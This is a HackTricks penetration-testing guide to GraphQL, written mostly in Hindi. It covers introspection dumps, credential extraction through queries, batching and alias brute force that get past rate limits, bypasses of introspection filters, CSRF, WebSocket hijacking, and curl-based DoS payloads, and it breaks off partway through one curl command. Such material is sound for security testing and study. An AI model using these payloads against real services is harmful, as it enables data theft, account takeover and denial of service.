GraphQL

Reading time: 32 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Introduction

GraphQL को REST API के लिए एक प्रभावी विकल्प के रूप में उजागर किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को एकल अनुरोध के माध्यम से लाने की अनुमति देता है। यह सरलता डेवलपर्स के लिए लाभकारी है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करती है।

GraphQL और सुरक्षा

नई तकनीकों के आगमन के साथ, जिसमें GraphQL भी शामिल है, नई सुरक्षा कमजोरियाँ भी उभरती हैं। एक महत्वपूर्ण बिंदु यह है कि GraphQL डिफ़ॉल्ट रूप से प्रमाणीकरण तंत्र शामिल नहीं करता है। ऐसे सुरक्षा उपायों को लागू करना डेवलपर्स की जिम्मेदारी है। उचित प्रमाणीकरण के बिना, GraphQL एंडपॉइंट्स अनधिकृत उपयोगकर्ताओं के लिए संवेदनशील जानकारी को उजागर कर सकते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम पैदा करता है।

डायरेक्टरी ब्रूट फोर्स हमले और GraphQL

उजागर GraphQL उदाहरणों की पहचान करने के लिए, डायरेक्टरी ब्रूट फोर्स हमलों में विशिष्ट पथों को शामिल करने की सिफारिश की जाती है। ये पथ हैं:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

खुले GraphQL उदाहरणों की पहचान करने से समर्थित क्वेरीज़ की जांच करने की अनुमति मिलती है। यह एंडपॉइंट के माध्यम से उपलब्ध डेटा को समझने के लिए महत्वपूर्ण है। GraphQL की अंतर्दृष्टि प्रणाली इसे इस प्रकार से सुविधाजनक बनाती है कि यह एक स्कीमा द्वारा समर्थित क्वेरीज़ का विवरण देती है। इस पर अधिक जानकारी के लिए, GraphQL दस्तावेज़ में अंतर्दृष्टि पर देखें: GraphQL: APIs के लिए एक क्वेरी भाषा।

फिंगरप्रिंट

उपकरण graphw00f यह पहचानने में सक्षम है कि किसी सर्वर में कौन सा GraphQL इंजन उपयोग किया जा रहा है और फिर सुरक्षा ऑडिटर के लिए कुछ सहायक जानकारी प्रिंट करता है।

यूनिवर्सल क्वेरीज़

यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक यूनिवर्सल क्वेरी, query{__typename}, भेजी जा सकती है। यदि प्रतिक्रिया में {"data": {"__typename": "Query"}} शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के __typename फ़ील्ड पर निर्भर करती है, जो क्वेरी किए गए ऑब्जेक्ट के प्रकार को प्रकट करती है।

javascript
query{__typename}

Basic Enumeration

Graphql आमतौर पर GET, POST (x-www-form-urlencoded) और POST(json) का समर्थन करता है। हालांकि सुरक्षा के लिए केवल json की अनुमति देना अनुशंसित है ताकि CSRF हमलों को रोका जा सके।

Introspection

Schema जानकारी खोजने के लिए introspection का उपयोग करने के लिए, __schema फ़ील्ड को क्वेरी करें। यह फ़ील्ड सभी क्वेरियों के रूट प्रकार पर उपलब्ध है।

bash
query={__schema{types{name,fields{name}}}}

इस क्वेरी के साथ आप सभी प्रकारों के नाम पाएंगे जो उपयोग में हैं:

bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्क का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा।

त्रुटियाँ

यह जानना दिलचस्प है कि क्या त्रुटियाँ दिखाई जाएँगी क्योंकि वे उपयोगी जानकारी में योगदान करेंगी।

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

इंट्रोस्पेक्शन के माध्यम से डेटाबेस स्कीमा की गणना करें

note

यदि इंट्रोस्पेक्शन सक्षम है लेकिन उपरोक्त क्वेरी नहीं चलती है, तो क्वेरी संरचना से onOperation, onFragment, और onField निर्देशों को हटाने का प्रयास करें।

bash
#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

इनलाइन अंतर्दृष्टि क्वेरी:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

अंतिम कोड लाइन एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट नाम, पैरामीटर, प्रकार...) को डंप करेगी।

यदि इंट्रोस्पेक्शन सक्षम है, तो आप GraphQL Voyager का उपयोग करके GUI में सभी विकल्प देख सकते हैं।

क्वेरी करना

अब जब हम जानते हैं कि डेटाबेस के अंदर किस प्रकार की जानकारी सहेजी गई है, तो चलिए कुछ मान निकालने की कोशिश करते हैं।

इंट्रोस्पेक्शन में आप यह देख सकते हैं कि आप किस ऑब्जेक्ट के लिए सीधे क्वेरी कर सकते हैं (क्योंकि आप केवल इसलिए क्वेरी नहीं कर सकते कि ऑब्जेक्ट मौजूद है)। निम्नलिखित छवि में आप देख सकते हैं कि "queryType" को "Query" कहा जाता है और "Query" ऑब्जेक्ट के फ़ील्ड में से एक "flags" है, जो एक ऑब्जेक्ट का प्रकार भी है। इसलिए आप फ्लैग ऑब्जेक्ट के लिए क्वेरी कर सकते हैं।

ध्यान दें कि क्वेरी का प्रकार "flags" "Flags" है, और यह ऑब्जेक्ट नीचे परिभाषित है:

आप देख सकते हैं कि "Flags" ऑब्जेक्ट name और value से मिलकर बने हैं। फिर आप क्वेरी के साथ फ्लैग के सभी नाम और मान प्राप्त कर सकते हैं:

javascript
query={flags{name, value}}

ध्यान दें कि यदि क्वेरी करने के लिए ऑब्जेक्ट एक प्राइमिटिव टाइप है जैसे स्ट्रिंग जैसा कि निम्नलिखित उदाहरण में है

आप इसे बस इस तरह क्वेरी कर सकते हैं:

javascript
query = { hiddenFlags }

एक अन्य उदाहरण में जहाँ "Query" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "user" और "users"।
यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी भी तर्क की आवश्यकता नहीं है, तो आप उनसे सभी जानकारी प्राप्त कर सकते हैं बस आपके द्वारा मांगी गई डेटा के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं:

हालांकि, इस उदाहरण में यदि आप ऐसा करने की कोशिश करते हैं तो आपको यह त्रुटि मिलती है:

ऐसा लगता है कि यह किसी तरह "uid" तर्क का उपयोग करके खोज करेगा, जो Int प्रकार का है।
खैर, हम पहले से ही जानते थे कि, Basic Enumeration अनुभाग में एक क्वेरी प्रस्तावित की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "user" के पास arg "uid" Int प्रकार का था।

तो, कुछ हल्की uid ब्रूटफोर्स करते हुए मैंने पाया कि uid=1 पर एक उपयोगकर्ता नाम और पासवर्ड प्राप्त हुआ:
query={user(uid:1){user,password}}

ध्यान दें कि मैंने खोजा कि मैं पैरामीटर "user" और "password" के लिए पूछ सकता हूँ क्योंकि यदि मैं कुछ ऐसा देखने की कोशिश करता हूँ जो मौजूद नहीं है (query={user(uid:1){noExists}}), तो मुझे यह त्रुटि मिलती है:

और enumeration phase के दौरान मैंने खोजा कि "dbuser" ऑब्जेक्ट के पास "user" और "password" के रूप में फ़ील्ड थे।

Query string dump trick (धन्यवाद @BinaryShadow_)

यदि आप एक स्ट्रिंग प्रकार द्वारा खोज सकते हैं, जैसे: query={theusers(description: ""){username,password}} और आप खाली स्ट्रिंग के लिए खोजते हैं, तो यह सभी डेटा डंप करेगा। (इस उदाहरण को ट्यूटोरियल के उदाहरण से संबंधित नहीं माना गया है, इस उदाहरण के लिए मान लें कि आप "theusers" को "description" नामक स्ट्रिंग फ़ील्ड का उपयोग करके खोज सकते हैं)।

खोज

इस सेटअप में, एक डेटाबेस में व्यक्तियाँ और फिल्में शामिल हैं। व्यक्तियाँ को उनके ईमेल और नाम द्वारा पहचाना जाता है; फिल्में उनके नाम और रेटिंग द्वारा। व्यक्तियाँ एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्मों का भी संबंध रख सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करता है।

आप नाम द्वारा व्यक्तियों की खोज कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं:

javascript
{
searchPerson(name: "John Doe") {
email
}
}

आप व्यक्तियों को नाम द्वारा खोज सकते हैं और उनके सदस्यता प्राप्त फिल्मों को प्राप्त कर सकते हैं:

javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

ध्यान दें कि व्यक्ति के subscribedMovies का name प्राप्त करने के लिए कैसे संकेत दिया गया है।

आप एक साथ कई वस्तुओं की खोज भी कर सकते हैं। इस मामले में, 2 फिल्मों की खोज की जाती है:

javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

या यहां तक कि विभिन्न वस्तुओं के कई संबंधों का उपयोग करते हुए उपनाम:

javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

म्यूटेशन सर्वर-साइड में परिवर्तन करने के लिए उपयोग किए जाते हैं।

इंट्रोस्पेक्शन में आप घोषित म्यूटेशन पा सकते हैं। निम्नलिखित छवि में "MutationType" को "Mutation" कहा जाता है और "Mutation" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "addPerson"):

इस सेटअप में, एक डेटाबेस में व्यक्तियाँ और फिल्में होती हैं। व्यक्तियाँ को उनके ईमेल और नाम से पहचाना जाता है; फिल्में उनके नाम और रेटिंग से। व्यक्तियाँ एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्मों का भी संबंध रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाता है।

डेटाबेस के भीतर नई फिल्मों को बनाने के लिए एक म्यूटेशन इस प्रकार हो सकता है (इस उदाहरण में म्यूटेशन को addMovie कहा जाता है):

javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

नोट करें कि क्वेरी में डेटा के दोनों मान और प्रकार कैसे इंगित किए गए हैं।

इसके अतिरिक्त, डेटाबेस एक म्यूटेशन ऑपरेशन का समर्थन करता है, जिसका नाम addPerson है, जो व्यक्तियों के निर्माण की अनुमति देता है, साथ ही उनके मौजूदा दोस्तों और फिल्मों के साथ संबंध भी। यह महत्वपूर्ण है कि दोस्तों और फिल्मों को नए बनाए गए व्यक्ति से लिंक करने से पहले डेटाबेस में पहले से मौजूद होना चाहिए।

javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

जैसा कि इस रिपोर्ट में वर्णित एक कमजोरियों में में समझाया गया है, एक directive overloading का मतलब है कि एक directive को लाखों बार कॉल करना ताकि सर्वर ऑपरेशनों को बर्बाद करे जब तक कि इसे DoS करना संभव न हो।

Batching brute-force in 1 API request

यह जानकारी https://lab.wallarm.com/graphql-batching-attack/ से ली गई थी।
GraphQL API के माध्यम से विभिन्न क्रेडेंशियल्स के साथ कई क्वेरीज़ को एक साथ भेजकर प्रमाणीकरण करना। यह एक क्लासिक ब्रूट फोर्स हमला है, लेकिन अब HTTP अनुरोध प्रति एक से अधिक लॉगिन/पासवर्ड जोड़ी भेजना संभव है क्योंकि GraphQL बैचिंग सुविधा है। यह दृष्टिकोण बाहरी दर निगरानी अनुप्रयोगों को यह सोचने के लिए धोखा देगा कि सब कुछ ठीक है और कोई ब्रूट-फोर्सिंग बॉट पासवर्ड अनुमान लगाने की कोशिश नहीं कर रहा है।

नीचे आप एक एप्लिकेशन प्रमाणीकरण अनुरोध का सबसे सरल प्रदर्शन देख सकते हैं, जिसमें एक समय में 3 विभिन्न ईमेल/पासवर्ड जोड़ी हैं। स्पष्ट रूप से, एक ही अनुरोध में हजारों भेजना संभव है:

जैसा कि हम प्रतिक्रिया स्क्रीनशॉट से देख सकते हैं, पहले और तीसरे अनुरोध ने null लौटाया और error अनुभाग में संबंधित जानकारी को दर्शाया। दूसरी म्यूटेशन में सही प्रमाणीकरण डेटा था और प्रतिक्रिया में सही प्रमाणीकरण सत्र टोकन है।

GraphQL Without Introspection

越来越多的graphql端点正在禁用自省。然而,当收到意外请求时,graphql抛出的错误足以让像clairvoyance这样的工具重建大部分架构。

此外,Burp Suite扩展GraphQuail扩展观察通过Burp的GraphQL API请求构建一个内部GraphQL架构,每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当它收到自省查询时,扩展返回一个假响应。因此,GraphQuail显示所有可用于API的查询、参数和字段。有关更多信息,请查看此处

一个很好的单词列表可以在这里发现GraphQL实体

Bypassing GraphQL introspection defences

API中的自省查询限制可以通过在__schema关键字后插入特殊字符来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注__schema关键字来阻止自省。通过添加像空格、新行和逗号这样的字符,GraphQL会忽略这些字符,但在正则表达式中可能没有考虑到,因此可以绕过限制。例如,带有换行符的自省查询__schema后可能会绕过此类防御:

bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

यदि असफल रहें, तो वैकल्पिक अनुरोध विधियों पर विचार करें, जैसे GET अनुरोध या POST x-www-form-urlencoded के साथ, क्योंकि प्रतिबंध केवल POST अनुरोधों पर लागू हो सकते हैं।

WebSockets का प्रयास करें

जैसा कि इस वार्ता में उल्लेख किया गया है, जांचें कि क्या WebSockets के माध्यम से graphQL से कनेक्ट करना संभव हो सकता है, क्योंकि यह आपको संभावित WAF को बायपास करने की अनुमति दे सकता है और वेब्सॉकेट संचार को graphQL के स्कीमा को लीक करने दे सकता है:

javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

खुली GraphQL संरचनाओं का पता लगाना

जब अंतर्दृष्टि अक्षम होती है, तो JavaScript पुस्तकालयों में प्रीलोडेड क्वेरीज़ के लिए वेबसाइट के स्रोत कोड की जांच करना एक उपयोगी रणनीति है। ये क्वेरीज़ डेवलपर टूल्स में Sources टैब का उपयोग करके पाई जा सकती हैं, जो API के स्कीमा के बारे में जानकारी प्रदान करती हैं और संभावित रूप से खुली संवेदनशील क्वेरीज़ को उजागर करती हैं। डेवलपर टूल्स में खोजने के लिए कमांड हैं:

javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

यदि आप नहीं जानते कि CSRF क्या है, तो निम्नलिखित पृष्ठ पढ़ें:

CSRF (Cross Site Request Forgery)

वहाँ आप कई GraphQL एंडपॉइंट्स CSRF टोकन के बिना कॉन्फ़िगर किए गए पाएंगे।

ध्यान दें कि GraphQL अनुरोध आमतौर पर application/json सामग्री प्रकार का उपयोग करके POST अनुरोधों के माध्यम से भेजे जाते हैं।

javascript
{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

हालांकि, अधिकांश GraphQL एंडपॉइंट भी form-urlencoded POST अनुरोधों का समर्थन करते हैं:

javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

इसलिए, जैसे कि पिछले CSRF अनुरोध बिना preflight requests के भेजे जाते हैं, यह संभव है कि CSRF का दुरुपयोग करके GraphQL में परिवर्तन किए जा सकें।

हालांकि, ध्यान दें कि Chrome के samesite ध्वज का नया डिफ़ॉल्ट कुकी मान Lax है। इसका मतलब है कि कुकी केवल GET अनुरोधों में एक तीसरे पक्ष की वेबसाइट से भेजी जाएगी।

ध्यान दें कि आमतौर पर query request को भी GET request के रूप में भेजना संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।

इसके अलावा, XS-Search हमले का दुरुपयोग करके GraphQL अंत बिंदु से सामग्री को उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके निकालना संभव हो सकता है।

अधिक जानकारी के लिए यहां मूल पोस्ट देखें यहां

GraphQL में क्रॉस-साइट वेब सॉकेट हाइजैकिंग

GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, क्रॉस-साइट वेब सॉकेट हाइजैकिंग करना भी संभव है ताकि GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके।

अधिक जानकारी के लिए देखें:

WebSocket Attacks

GraphQL में प्राधिकरण

अंत बिंदु पर परिभाषित कई GraphQL कार्य केवल अनुरोधकर्ता की प्रमाणीकरण की जांच कर सकते हैं लेकिन प्राधिकरण की नहीं।

क्वेरी इनपुट वेरिएबल को संशोधित करने से संवेदनशील खाता विवरण leaked हो सकते हैं।

म्यूटेशन अन्य खाता डेटा को संशोधित करने का प्रयास करते समय खाता अधिग्रहण का कारण बन सकता है।

javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

GraphQL में प्राधिकरण को बायपास करना

Chaining queries एक कमजोर प्रमाणीकरण प्रणाली को बायपास कर सकता है।

नीचे दिए गए उदाहरण में आप देख सकते हैं कि ऑपरेशन "forgotPassword" है और इसे केवल इसके साथ जुड़े forgotPassword क्वेरी को निष्पादित करना चाहिए। इसे अंत में एक क्वेरी जोड़कर बायपास किया जा सकता है, इस मामले में हम "register" और एक उपयोगकर्ता चर जोड़ते हैं ताकि प्रणाली एक नए उपयोगकर्ता के रूप में पंजीकरण कर सके।

GraphQL में उपनामों का उपयोग करके दर सीमाओं को बायपास करना

GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय गुणों के नाम को स्पष्ट रूप से निर्दिष्ट करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर एक ही प्रकार की वस्तुओं के कई उदाहरणों को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं।

GraphQL उपनामों की विस्तृत समझ के लिए, निम्नलिखित संसाधन की सिफारिश की जाती है: Aliases

हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा संरक्षित किया गया है जो HTTP अनुरोधों की संख्या को सीमित करके ब्रूट फोर्स हमलों को रोकने के लिए डिज़ाइन किए गए हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एकल HTTP अनुरोध में कई क्वेरी शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं।

नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरी का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को बायपास कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है।

bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Overloading

Alias Overloading एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे Denial of Service (DoS) हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (expensiveField) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, जो संभावित रूप से CPU या मेमोरी को समाप्त कर सकता है:

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

इससे निपटने के लिए, संसाधन दुरुपयोग को रोकने के लिए उपनाम गणना सीमाएँ, क्वेरी जटिलता विश्लेषण, या दर सीमित करना लागू करें।

एरे-आधारित क्वेरी बैचिंग

एरे-आधारित क्वेरी बैचिंग एक कमजोरियों है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग करते हुए और संभावित रूप से सेवा का अस्वीकरण (DoS) का कारण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है।

graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

इस उदाहरण में, 10 विभिन्न क्वेरीज़ को एक अनुरोध में बैच किया गया है, जिससे सर्वर को सभी को एक साथ निष्पादित करने के लिए मजबूर किया जाता है। यदि बड़े बैच आकार या गणनात्मक रूप से महंगे क्वेरीज़ के साथ इसका शोषण किया जाए, तो यह सर्वर को ओवरलोड कर सकता है।

निर्देश ओवरलोडिंग कमजोरियाँ

निर्देश ओवरलोडिंग तब होती है जब एक GraphQL सर्वर अत्यधिक, दोहराए गए निर्देशों के साथ क्वेरीज़ की अनुमति देता है। यह सर्वर के पार्सर और निष्पादक को अभिभूत कर सकता है, विशेष रूप से यदि सर्वर बार-बार समान निर्देश लॉजिक को प्रोसेस करता है। उचित सत्यापन या सीमाओं के बिना, एक हमलावर इसे कई दोहराए गए निर्देशों के साथ एक क्वेरी तैयार करके शोषण कर सकता है, जिससे उच्च गणनात्मक या मेमोरी उपयोग उत्पन्न होता है, जो सेवा से इनकार (DoS) की ओर ले जाता है।

bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

ध्यान दें कि पिछले उदाहरण में @aa एक कस्टम निर्देश है जो घोषित नहीं किया जा सकता। एक सामान्य निर्देश जो आमतौर पर मौजूद होता है वह है @include:

bash
curl -X POST \
-H "Content-Type: application/json" \
